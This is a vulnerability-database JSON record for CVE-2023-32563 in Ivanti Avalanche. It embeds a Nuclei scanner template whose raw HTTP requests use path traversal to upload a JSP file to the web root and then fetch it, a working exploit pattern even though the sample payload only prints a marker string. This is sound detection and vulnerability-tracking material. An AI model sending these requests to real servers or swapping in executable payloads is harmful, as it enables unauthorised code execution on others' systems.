{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2023-32563/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2023-32563/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2023-32563/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2023-32563/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2023-32563/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2023-32563"},"sightings":{"href":"/api/v1/sightings/cve-2023-32563"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2023/CVE-2023-32563.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2023-32563\n\ninfo:\n  name: Ivanti Avalanche - Remote Code Execution\n  author: princechaddha\n  severity: critical\n  description: An unauthenticated attacker could achieve the code execution through a RemoteControl server.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Apply the latest security patches or updates provided by Ivanti to mitigate this vulnerability.\n  reference:\n    - https://twitter.com/wvuuuuuuuuuuuuu/status/1694956245742923939\n    - https://forums.ivanti.com/s/article/Avalanche-Vulnerabilities-Addressed-in-6-4-1?language=en_US\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-32563\n    - https://github.com/mayur-esh/vuln-liners\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-32563\n    cwe-id: CWE-22\n    epss-score: 0.89099\n    epss-percentile: 0.99776\n    cpe: cpe:2.3:a:ivanti:avalanche:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: ivanti\n    product: avalanche\n  tags: cve,cve2023,ivanti,avalanche,rce,oast,unauth,intrusive,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        POST /Servlet/Skins HTTP/1.1\n        Host: {{Hostname}}\n        Content-Length: 333\n        Content-Type: multipart/form-data; boundary=------------------------eacf31f23ac1829f\n        Connection: close\n\n        --------------------------eacf31f23ac1829f\n        Content-Disposition: form-data; name=\"guid\"\n\n        ../../../Web/webapps/ROOT\n        --------------------------eacf31f23ac1829f\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\n\n        <%\n        out.println(\"CVE-2023-32563\");\n        %>\n        --------------------------eacf31f23ac1829f--\n      - |\n        GET /{{randstr}}.jsp HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body_2\n        words:\n          - \"CVE-2023-32563\"\n# digest: 490a00463044022040040d82933bd12a3072396dd73825dc9666928aa5a65a8ded845810ffc2563602207053114e497692d6b1c1ed78529c5c90742777324882efb35fcf50da9f02941b:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2023-32563"}